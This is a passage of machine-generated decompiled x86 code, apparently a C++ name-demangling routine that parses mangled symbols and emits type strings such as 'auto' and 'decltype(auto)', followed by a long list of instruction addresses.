											 *(__ebx + 0xc) = __edx;
											 *(__esi + 1) & 0x000000ff = ( *(__esi + 1) & 0x000000ff) - 0x30;
											__eflags = __al - 9;
											if(__al > 9) {
												break;
											}
											__esi = __edx;
										}
										__ecx = __edx;
										__eax =  *(__ebx + 0x14);
										__ecx = __edx - __edi;
										__eflags = __eax -  *((intOrPtr*)(__ebx + 0x18));
										if(__eax >=  *((intOrPtr*)(__ebx + 0x18))) {
											goto L6;
										} else {
											__ebp = __eax;
											__eax = __eax + 1;
											__ebp = __ebp << 4;
											__ebp = __ebp +  *((intOrPtr*)(__ebx + 0x10));
											 *(__ebp + 4) = 0;
											 *(__ebx + 0x14) = __eax;
											__eflags = __ecx;
											if(__ecx == 0) {
												goto L6;
											} else {
												 *(__ebp + 4) = 0;
												 *__ebp = 0;
												 *(8 + __ebp) = __edi;
												 *(__ebp + 0xc) = __ecx;
												__eax =  *(__esi + 1) & 0x000000ff;
												goto L57;
											}
										}
									} else {
										__esi =  *(__ebx + 0x30);
										 *(__ebx + 0x30) = 1;
										__eax = __ebx;
										__eax = L0042E7C0(__ebx);
										 *(__ebx + 0x30) = __esi;
										__ebp = __eax;
										__eflags = __eax;
										if(__eax == 0) {
											goto L6;
										} else {
											__edx =  *(__ebx + 0xc);
											__eax =  *__edx & 0x000000ff;
											L57:
											__edi = __edx;
											__eflags = __al - 0x5f;
											if(__eflags != 0) {
												goto L6;
											} else {
												L58:
												__edi = __edi + 1;
												__eax = __ebx;
												 *(__ebx + 0xc) = __edi;
												__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
												__ecx = __ebp;
												__edx = 0x2a;
												 *__esp = __eax;
												__eax = __ebx;
												__eax = L0042DC50(__ebp, 0x2a);
												__esp[0xb] = __eax;
												goto L19;
											}
										}
									}
								}
								goto L125;
							case 3:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x25;
								__ecx = __eax;
								__eax = __ebx;
								__eax = L0042DC50(__ecx, 0x25);
								__esp[0xb] = __eax;
								goto L19;
							case 4:
								__eax = __esi + 1;
								 *(__ebx + 0xc) = __esi + 1;
								__eflags =  *(__esi + 1);
								if( *(__esi + 1) == 0) {
									goto L6;
								} else {
									__eax = __esi + 2;
									 *(__ebx + 0xc) = __esi + 2;
									 *(__esi + 1) & 0x000000ff = ( *(__esi + 1) & 0x000000ff) - 0x46;
									__eflags = __al - 0x30;
									if(__eflags > 0) {
										goto L6;
									} else {
										__eax = __al & 0x000000ff;
										switch( *((intOrPtr*)(__eax * 4 +  &M00510018))) {
											case 0:
												goto L78;
											case 1:
												goto L6;
											case 2:
												goto L3;
											case 3:
												goto L91;
											case 4:
												goto L75;
											case 5:
												goto L73;
											case 6:
												goto L71;
											case 7:
												goto L87;
											case 8:
												goto L85;
											case 9:
												goto L89;
											case 0xa:
												goto L69;
											case 0xb:
												goto L77;
											case 0xc:
												goto L67;
											case 0xd:
												goto L62;
										}
									}
								}
								goto L125;
							case 5:
								__eax = __ebx;
								__eax = E00430330(__ebx, __edi);
								__esp[0xb] = __eax;
								goto L19;
							case 6:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x26;
								__ecx = __eax;
								__eax = __ebx;
								__eax = L0042DC50(__ecx, 0x26);
								__esp[0xb] = __eax;
								goto L19;
							case 7:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								__esi = __eax;
								__eflags = __eax;
								if(__eflags == 0) {
									goto L6;
								} else {
									__eax = __ebx;
									__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
									__eflags = __eax;
									if(__eax == 0) {
										goto L6;
									} else {
										 *__esp = __eax;
										__ecx = __esi;
										__edx = 0x2b;
										__eax = __ebx;
										__eax = L0042DC50(__esi, 0x2b);
										__esp[0xb] = __eax;
										goto L19;
									}
								}
								goto L125;
							case 8:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x24;
								__ecx = __eax;
								__eax = __ebx;
								__eax = L0042DC50(__ecx, 0x24);
								__esp[0xb] = __eax;
								goto L19;
							case 9:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x22;
								__ecx = __eax;
								__eax = __ebx;
								__eax = L0042DC50(__ecx, 0x22);
								__esp[0xb] = __eax;
								goto L19;
							case 0xa:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x23;
								__ecx = __eax;
								__eax = __ebx;
								__eax = L0042DC50(__ecx, 0x23);
								__esp[0xb] = __eax;
								goto L19;
							case 0xb:
								__eax =  *(__esi + 1) & 0x000000ff;
								_t70 = __eax - 0x30; // -48
								__edx = _t70;
								__eflags = __dl - 9;
								if(__dl <= 9) {
									L38:
									__edx = 0;
									__eax = __ebx;
									__eax = E0042E190(__ebx, 0);
									__edx =  *(__ebx + 0xc);
									__esp[0xb] = __eax;
									__eflags =  *__edx - 0x49;
									if( *__edx != 0x49) {
										goto L7;
									} else {
										__edx = __edx + 1;
										goto L33;
									}
								} else {
									__eflags = __al - 0x5f;
									if(__al == 0x5f) {
										goto L38;
									} else {
										__eax = __eax - 0x41;
										__eflags = __al - 0x19;
										if(__al > 0x19) {
											__eax = __ebx;
											__eax = E0042F030(__ebx);
											__esp[0xb] = __eax;
											__eflags = __eax;
											if(__eax == 0) {
												goto L6;
											} else {
												__eflags =  *__eax - 0x18;
												if( *__eax != 0x18) {
													goto L20;
												} else {
													goto L7;
												}
											}
										} else {
											goto L38;
										}
									}
								}
								goto L125;
							case 0xc:
								__eax = __ebx;
								__eax = L0042DF60(__ebx);
								__esi =  *(__ebx + 0xc);
								__esp[0xb] = __eax;
								__eflags =  *__esi - 0x49;
								if( *__esi != 0x49) {
									goto L19;
								} else {
									__edx =  *(__ebx + 0x34);
									__eflags =  *(__ebx + 0x34);
									if( *(__ebx + 0x34) != 0) {
										__eax =  *(__ebx + 0x2c);
										__ebp =  *(__ebx + 0x14);
										__edi =  *(__ebx + 0x20);
										__esp[7] =  *(__ebx + 0x2c);
										__eax = __esi + 1;
										 *(__ebx + 0xc) = __esi + 1;
										__eax = __ebx;
										__eax = L0042EEF0(__ebx);
										__ecx =  *(__ebx + 0xc);
										__eflags =  *( *(__ebx + 0xc)) - 0x49;
										if( *( *(__ebx + 0xc)) == 0x49) {
											__ecx = __esp[0xb];
											__eflags = __ecx;
											if(__ecx == 0) {
												goto L6;
											} else {
												__edx =  *(__ebx + 0x20);
												__eflags = __edx -  *((intOrPtr*)(__ebx + 0x24));
												if(__edx >=  *((intOrPtr*)(__ebx + 0x24))) {
													goto L6;
												} else {
													__esi =  *(__ebx + 0x1c);
													 *( *(__ebx + 0x1c) + __edx * 4) = __ecx;
													 *(__ebx + 0x20) = __edx;
													__edx = 4;
													 *__esp = __eax;
													__eax = __ebx;
													__eax = L0042DC50(__ecx, 4);
													__esp[0xb] = __eax;
													goto L19;
												}
											}
										} else {
											__eax = __esp[7];
											 *(__ebx + 0xc) = __esi;
											 *(__ebx + 0x14) = __ebp;
											 *(__ebx + 0x2c) = __esp[7];
											__eax = __esp[0xb];
											 *(__ebx + 0x20) = __edi;
											goto L19;
										}
									} else {
										__eflags = __eax;
										if(__eax == 0) {
											goto L6;
										} else {
											__ecx =  *(__ebx + 0x20);
											__eflags = __ecx -  *((intOrPtr*)(__ebx + 0x24));
											if(__ecx >=  *((intOrPtr*)(__ebx + 0x24))) {
												goto L6;
											} else {
												__edx =  *(__ebx + 0x1c);
												 *( *(__ebx + 0x1c) + __ecx * 4) = __eax;
												 *(__ebx + 0x20) = __ecx;
												_t64 = ( *__esi & 0x000000ff) - 0x49; // -73
												__ecx = _t64;
												__eax = 0;
												__eflags = __cl - 1;
												if(__cl <= 1) {
													__edx = __esi + 1;
													L33:
													 *(__ebx + 0xc) = __edx;
													__eax = __ebx;
													__eax = L0042EEF0(__ebx);
												}
												 *__esp = __eax;
												__ecx = __esp[0xb];
												__edx = 4;
												__eax = __ebx;
												__eax = L0042DC50(__esp[0xb], 4);
												__esp[0xb] = __eax;
												goto L19;
											}
										}
									}
								}
								goto L125;
							case 0xd:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = L0042DFC0(__ebx);
								__esp[0xb] = __eax;
								__esi = __eax;
								__eax =  *(__ebx + 0xc);
								__eflags =  *__eax - 0x49;
								if(__eflags == 0) {
									 *(__ebx + 0xc) = __eax;
									__eax = __ebx;
									__eax = L0042EEF0(__ebx);
									__ecx = __esp[0xb];
									__edx = 4;
									 *__esp = __eax;
									__eax = __ebx;
									__eax = L0042DC50(__ecx, 4);
									__esi = __eax;
									__esp[0xb] = __eax;
								}
								__eax = __ebx;
								__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = __esi;
								__edx = 0x21;
								__ecx = __eax;
								__eax = __ebx;
								__eax = L0042DC50(__ecx, 0x21);
								__esp[0xb] = __eax;
								goto L19;
							case 0xe:
								__eax = __edx + __edx * 4 - 0x1e5;
								__edx =  *(__ebx + 0x14);
								__ecx = 0x511180 + __eax * 4;
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L110;
								} else {
									__eax = __edx;
									__esi = __esi + 1;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									__edx =  *(__ecx + 4);
									 *__eax = 0x27;
									 *(8 + __eax) = __ecx;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) +  *(__ecx + 4);
									 *(__ebx + 0xc) = __esi;
									goto L7;
								}
								goto L125;
							case 0xf:
								__esi = __esi + 1;
								__eax = __ebx;
								 *(__ebx + 0xc) = __esi;
								__eax = L0042DFC0(__ebx);
								 *__esp = 0;
								__edx = 0x28;
								__ecx = __eax;
								__eax = __ebx;
								__eax = L0042DC50(__ecx, 0x28);
								__esp[0xb] = __eax;
								goto L19;
							case 0x10:
								L78:
								__eax =  *(__ebx + 0x14);
								__eflags = __eax -  *((intOrPtr*)(__ebx + 0x18));
								if(__eax >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L113;
								} else {
									__edi = __eax;
									__eax = __eax + 1;
									__edx = 0;
									__edi = __edi << 4;
									__edi = __edi +  *((intOrPtr*)(__ebx + 0x10));
									 *(__edi + 4) = 0;
									__esp[0xb] = __edi;
									 *(__ebx + 0x14) = __eax;
									 *__edi = 0x2c;
									 *(__esi + 2) & 0x000000ff = ( *(__esi + 2) & 0x000000ff) - 0x30;
									__eflags = __al - 9;
									_t163 = __al - 9 < 0;
									__eflags = _t163;
									__edx = 0 | _t163;
									 *((short*)(__edi + 0xc)) = __dx;
									if(__eflags <= 0) {
										__ebx + 0xc = L0042DE20(__ebx + 0xc);
										__edi = __esp[0xb];
									}
									__eax = __ebx;
									 *((intOrPtr*)(8 + __edi)) = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
									__eax = __esp[0xb];
									__eax =  *(8 + __esp[0xb]);
									__eflags = __eax;
									if(__eax == 0) {
										goto L6;
									} else {
										__ebx + 0xc = L0042DE20(__ebx + 0xc);
										__eax =  *(__ebx + 0xc);
										__edx = 0;
										__eflags =  *__eax;
										if( *__eax != 0) {
											__edx = __eax + 1;
											 *(__ebx + 0xc) = __eax + 1;
											__edx =  *__eax & 0x000000ff;
										}
										__eflags = __dl - 0x73;
										__eax = __esp[0xb];
										__edx = __dl & 0x000000ff;
										 *((short*)(__esp[0xb] + 0xe)) = __dx;
									}
									goto L7;
								}
								goto L125;
							case 0x11:
								L3:
								 *(_t271 + 0x30) = 1;
								_t266 = L0042E7C0(_t271);
								 *_t309 = 0;
								_t268 = L0042DC50(_t266, 0x42);
								_t309[0xb] = _t268;
								if(_t268 == 0) {
									goto L6;
								} else {
									_t289 =  *((intOrPtr*)(_t271 + 0xc));
									if( *_t289 == 0) {
										goto L6;
									} else {
										 *((intOrPtr*)(_t271 + 0xc)) = _t289 + 1;
										if( *_t289 == 0x45) {
											goto L20;
										} else {
											goto L6;
										}
									}
								}
								goto L125;
							case 0x12:
								L91:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L6;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__ebx + 0x14) = __edx;
									 *(__eax + 4) = 0;
									 *__eax = 0;
									 *(8 + __eax) = "auto";
									 *(__eax + 0xc) = 4;
								}
								goto L7;
							case 0x13:
								L75:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L6;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__ebx + 0x14) = __edx;
									 *(__eax + 4) = 0;
									 *__eax = 0;
									 *(8 + __eax) = "decltype(auto)";
									 *(__eax + 0xc) = 0xe;
								}
								goto L7;
							case 0x14:
								L73:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L107;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x51139c;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) + 9;
									goto L7;
								}
								goto L125;
							case 0x15:
								L71:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									L107:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									goto L108;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5113b0;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) + 0xa;
									goto L7;
								}
								goto L125;
							case 0x16:
								L87:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L112;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x511388;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) + 9;
									goto L7;
								}
								goto L125;
							case 0x17:
								L85:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L109;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5113c4;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) + 4;
									goto L7;
								}
								goto L125;
							case 0x18:
								L89:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									L108:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									L109:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									L110:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									goto L111;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5113ec;
									 *(__ebx + 0x2c) = 8 +  *(__ebx + 0x2c);
									goto L7;
								}
								goto L125;
							case 0x19:
								L69:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									goto L114;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x511400;
									 *(__ebx + 0x2c) =  *(__ebx + 0x2c) + 0x11;
									goto L7;
								}
								goto L125;
							case 0x1a:
								L77:
								__eax = __ebx;
								__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
								 *__esp = 0;
								__edx = 0x4a;
								__ecx = __eax;
								__eax = __ebx;
								__eax = L0042DC50(__ecx, 0x4a);
								__esp[0xb] = __eax;
								goto L19;
							case 0x1b:
								L67:
								__edx =  *(__ebx + 0x14);
								__eflags = __edx -  *((intOrPtr*)(__ebx + 0x18));
								if(__edx >=  *((intOrPtr*)(__ebx + 0x18))) {
									L111:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									L112:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									L113:
									 *0 = 0;
									asm("ud2");
									L114:
									__esp[0xb] = 0;
									__eax =  *8;
									asm("ud2");
									__edx = __edx + 1;
									__eflags = __edx;
									 *__esp = __eax;
									if(__edx == 0) {
										L004C36D0();
									}
									__eax = E0043B0B0(__eax, __ebx, __edx, __edi, __esi);
									__edx = __edx + 1;
									__eflags = __edx;
									 *__esp = __eax;
									if(__edx == 0) {
										L004C36D0();
									}
									__eax = E0043B0B0(__eax, __ebx, __edx, __edi, __esi);
									__esp = __esp - 0x1c;
									__eax =  *0x500634; // 0x2
									__eflags = __eax;
									if(__eax != 0) {
										__eax = L00438A50(0x500918);
									}
									 *__esp = 0x4a00;
									 *0x500928 = 0x4a00; // executed
									__eax = malloc(??); // executed
									 *0x500924 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										 *0x500928 = 0;
										 *0x500920 = 0;
									} else {
										 *0x500920 = __eax;
										 *__eax = 0x4a00;
										 *(__eax + 4) = 0;
									}
									__eax = E004014C0(0x4c4320);
									__esp =  &(__esp[7]);
									return __eax;
								} else {
									__eax = __edx;
									__edx = __edx + 1;
									__eax = __eax << 4;
									__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
									 *(__eax + 4) = 0;
									 *(__ebx + 0x14) = __edx;
									 *__eax = 0x27;
									 *(8 + __eax) = 0x5113d8;
									 *(__ebx + 0x2c) = 8 +  *(__ebx + 0x2c);
									L7:
									return 0;
								}
								goto L125;
							case 0x1c:
								L62:
								__eflags =  *(__esi + 2) - 0x5f;
								if( *(__esi + 2) == 0x5f) {
									__esi = __esi + 3;
									__edi =  *(__ebx + 0x30);
									 *(__ebx + 0x30) = 1;
									__eax = __ebx;
									 *(__ebx + 0xc) = __esi;
									__eax = L0042E7C0(__ebx);
									 *(__ebx + 0x30) = __edi;
									__esi = __eax;
								} else {
									__eax = __ebx;
									__esi = L0042DEE0(__ebx);
								}
								__eflags = __esi;
								if(__esi == 0) {
									goto L6;
								} else {
									__eax =  *(__ebx + 0xc);
									__eflags =  *__eax - 0x5f;
									if(__eflags != 0) {
										goto L6;
									} else {
										 *(__ebx + 0xc) = __eax;
										__eax = __ebx;
										__eax = E0042F510(__ebx, __ebx, __ecx, __edi, __esi, __eflags);
										__ecx = __esi;
										__edx = 0x2d;
										 *__esp = __eax;
										__eax = __ebx;
										__eax = L0042DC50(__esi, 0x2d);
										__esp[0xb] = __eax;
										L19:
										__eflags = __eax;
										if(__eax == 0) {
											goto L6;
										} else {
											L20:
											_t27 = _t271 + 0x20; // 0x42e754
											_t290 =  *_t27;
											__eflags = _t290 -  *((intOrPtr*)(_t271 + 0x24));
											if(_t290 >=  *((intOrPtr*)(_t271 + 0x24))) {
												goto L6;
											} else {
												 *( *((intOrPtr*)(_t271 + 0x1c)) + _t290 * 4) = _t268;
												_t291 = _t290 + 1;
												__eflags = _t291;
												 *(_t271 + 0x20) = _t291;
												return _t309[0xb];
											}
										}
									}
								}
								goto L125;
						}
					}
				}
				L125:
			}

0x0042f511
0x0042f512
0x0042f513
0x0042f514
0x0042f516
0x0042f519
0x0042f525
0x0042f598
0x0042f59d
0x0042f59f
0x0042f5a1
0x00000000
0x0042f5a3
0x0042f5a6
0x0042f5a9
0x0042f5ab
0x0042f600
0x0042f605
0x0042f607
0x0042f5ad
0x0042f5ad
0x0042f5b2
0x0042f5b4
0x0042f5b4
0x0042f5b6
0x0042f5b8
0x00000000
0x0042f5ba
0x0042f5ba
0x0042f5bc
0x0042f5c0
0x0042f5c3
0x0042f5c6
0x0042f5cb
0x0042f5d0
0x0042f5d4
0x0042f5d6
0x0042f5d6
0x0042f5da
0x0042f5dc
0x00000000
0x0042f5de
0x0042f5de
0x0042f5de
0x0042f5e1
0x0042f5e4
0x00000000
0x0042f5e6
0x0042f5e9
0x0042f5ec
0x0042f5ec
0x0042f5ef
0x0042f5f9
0x0042f5f9
0x0042f5e4
0x0042f5dc
0x0042f5b8
0x0042f527
0x0042f52a
0x0042f52f
0x0042f583
0x00000000
0x0042f531
0x0042f534
0x00000000
0x0042f610
0x0042f612
0x0042f617
0x00000000
0x00000000
0x00000000
0x00000000
0x0042f900
0x0042f903
0x0042f906
0x0042f90a
0x0042f90c
0x0042fcf0
0x00000000
0x0042f912
0x0042f912
0x0042f915
0x0042f917
0x0042f919
0x0042f922
0x0042f922
0x0042f922
0x0042f925
0x0042f92c
0x0042f92f
0x0042f931
0x00000000
0x00000000
0x0042f920
0x0042f920
0x0042f933
0x0042f935
0x0042f938
0x0042f93a
0x0042f93d
0x00000000
0x0042f943
0x0042f943
0x0042f945
0x0042f948
0x0042f94b
0x0042f94e
0x0042f955
0x0042f958
0x0042f95a
0x00000000
0x0042f960
0x0042f960
0x0042f967
0x0042f96e
0x0042f971
0x0042f974
0x00000000
0x0042f974
0x0042f95a
0x0042f91b
0x0042fd43
0x0042fd46
0x0042fd4d
0x0042fd4f
0x0042fd54
0x0042fd57
0x0042fd59
0x0042fd5b
0x00000000
0x0042fd61
0x0042fd61
0x0042fd64
0x0042f978
0x0042f978
0x0042f97a
0x0042f97c
0x00000000
0x0042f982
0x0042f982
0x0042f982
0x0042f985
0x0042f987
0x0042f98a
0x0042f98f
0x0042f991
0x0042f996
0x0042f999
0x0042f99b
0x0042f9a0
0x00000000
0x0042f9a0
0x0042f97c
0x0042fd5b
0x0042f919
0x00000000
0x00000000
0x0042f8d0
0x0042f8d3
0x0042f8d5
0x0042f8d8
0x0042f8dd
0x0042f8e4
0x0042f8e9
0x0042f8eb
0x0042f8ed
0x0042f8f2
0x00000000
0x00000000
0x0042f8a0
0x0042f8a3
0x0042f8a6
0x0042f8aa
0x00000000
0x0042f8b0
0x0042f8b0
0x0042f8b3
0x0042f8ba
0x0042f8bd
0x0042f8bf
0x00000000
0x0042f8c5
0x0042f8c5
0x0042f8c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042f8c8
0x0042f8bf
0x00000000
0x00000000
0x0042f890
0x0042f892
0x0042f897
0x00000000
0x00000000
0x0042f860
0x0042f863
0x0042f865
0x0042f868
0x0042f86d
0x0042f874
0x0042f879
0x0042f87b
0x0042f87d
0x0042f882
0x00000000
0x00000000
0x0042f9b0
0x0042f9b3
0x0042f9b5
0x0042f9b8
0x0042f9bd
0x0042f9bf
0x0042f9c1
0x00000000
0x0042f9c7
0x0042f9c7
0x0042f9c9
0x0042f9ce
0x0042f9d0
0x00000000
0x0042f9d6
0x0042f9d6
0x0042f9d9
0x0042f9db
0x0042f9e0
0x0042f9e2
0x0042f9e7
0x00000000
0x0042f9e7
0x0042f9d0
0x00000000
0x00000000
0x0042f830
0x0042f833
0x0042f835
0x0042f838
0x0042f83d
0x0042f844
0x0042f849
0x0042f84b
0x0042f84d
0x0042f852
0x00000000
0x00000000
0x0042f800
0x0042f803
0x0042f805
0x0042f808
0x0042f80d
0x0042f814
0x0042f819
0x0042f81b
0x0042f81d
0x0042f822
0x00000000
0x00000000
0x0042f7d0
0x0042f7d3
0x0042f7d5
0x0042f7d8
0x0042f7dd
0x0042f7e4
0x0042f7e9
0x0042f7eb
0x0042f7ed
0x0042f7f2
0x00000000
0x00000000
0x0042f790
0x0042f794
0x0042f794
0x0042f797
0x0042f79a
0x0042f7ab
0x0042f7ab
0x0042f7ad
0x0042f7af
0x0042f7b4
0x0042f7b7
0x0042f7bb
0x0042f7be
0x00000000
0x0042f7c4
0x0042f7c4
0x00000000
0x0042f7c4
0x0042f79c
0x0042f79c
0x0042f79e
0x00000000
0x0042f7a0
0x0042f7a0
0x0042f7a3
0x0042f7a5
0x0042fcf7
0x0042fcf9
0x0042fcfe
0x0042fd02
0x0042fd04
0x00000000
0x0042fd0a
0x0042fd0a
0x0042fd0d
0x00000000
0x0042fd13
0x00000000
0x0042fd13
0x0042fd0d
0x00000000
0x00000000
0x00000000
0x0042f7a5
0x0042f79e
0x00000000
0x00000000
0x0042f710
0x0042f712
0x0042f717
0x0042f71a
0x0042f71e
0x0042f721
0x00000000
0x0042f727
0x0042f727
0x0042f72a
0x0042f72c
0x0042fd6c
0x0042fd6f
0x0042fd72
0x0042fd75
0x0042fd79
0x0042fd7c
0x0042fd7f
0x0042fd81
0x0042fd86
0x0042fd89
0x0042fd8c
0x0042fda7
0x0042fdab
0x0042fdad
0x00000000
0x0042fdb3
0x0042fdb3
0x0042fdb6
0x0042fdb9
0x00000000
0x0042fdbf
0x0042fdbf
0x0042fdc2
0x0042fdc8
0x0042fdcb
0x0042fdd0
0x0042fdd3
0x0042fdd5
0x0042fdda
0x00000000
0x0042fdda
0x0042fdb9
0x0042fd8e
0x0042fd8e
0x0042fd92
0x0042fd95
0x0042fd98
0x0042fd9b
0x0042fd9f
0x00000000
0x0042fd9f
0x0042f732
0x0042f732
0x0042f734
0x00000000
0x0042f73a
0x0042f73a
0x0042f73d
0x0042f740
0x00000000
0x0042f746
0x0042f746
0x0042f749
0x0042f74f
0x0042f755
0x0042f755
0x0042f758
0x0042f75a
0x0042f75d
0x0042f75f
0x0042f762
0x0042f762
0x0042f765
0x0042f767
0x0042f767
0x0042f76c
0x0042f76f
0x0042f773
0x0042f778
0x0042f77a
0x0042f77f
0x00000000
0x0042f77f
0x0042f740
0x0042f734
0x0042f72c
0x00000000
0x00000000
0x0042f6d0
0x0042f6d3
0x0042f6d5
0x0042f6d8
0x0042f6dd
0x0042f6e1
0x0042f6e3
0x0042f6e6
0x0042f6e9
0x0042fd1b
0x0042fd1e
0x0042fd20
0x0042fd25
0x0042fd29
0x0042fd2e
0x0042fd31
0x0042fd33
0x0042fd38
0x0042fd3a
0x0042fd3a
0x0042f6ef
0x0042f6f1
0x0042f6f6
0x0042f6f9
0x0042f6fe
0x0042f700
0x0042f702
0x0042f707
0x00000000
0x00000000
0x0042f680
0x0042f687
0x0042f68a
0x0042f691
0x0042f694
0x00000000
0x0042f69a
0x0042f69a
0x0042f69c
0x0042f69f
0x0042f6a2
0x0042f6a5
0x0042f6a8
0x0042f6af
0x0042f6b2
0x0042f6b5
0x0042f6bb
0x0042f6be
0x0042f6c1
0x00000000
0x0042f6c1
0x00000000
0x00000000
0x0042f650
0x0042f653
0x0042f655
0x0042f658
0x0042f65d
0x0042f664
0x0042f669
0x0042f66b
0x0042f66d
0x0042f672
0x00000000
0x00000000
0x0042fb79
0x0042fb79
0x0042fb7c
0x0042fb7f
0x00000000
0x0042fb85
0x0042fb85
0x0042fb87
0x0042fb8a
0x0042fb8c
0x0042fb8f
0x0042fb92
0x0042fb99
0x0042fb9d
0x0042fba0
0x0042fbaa
0x0042fbad
0x0042fbaf
0x0042fbaf
0x0042fbaf
0x0042fbb2
0x0042fbb6
0x0042fbbb
0x0042fbc0
0x0042fbc0
0x0042fbc4
0x0042fbcb
0x0042fbce
0x0042fbd2
0x0042fbd5
0x0042fbd7
0x00000000
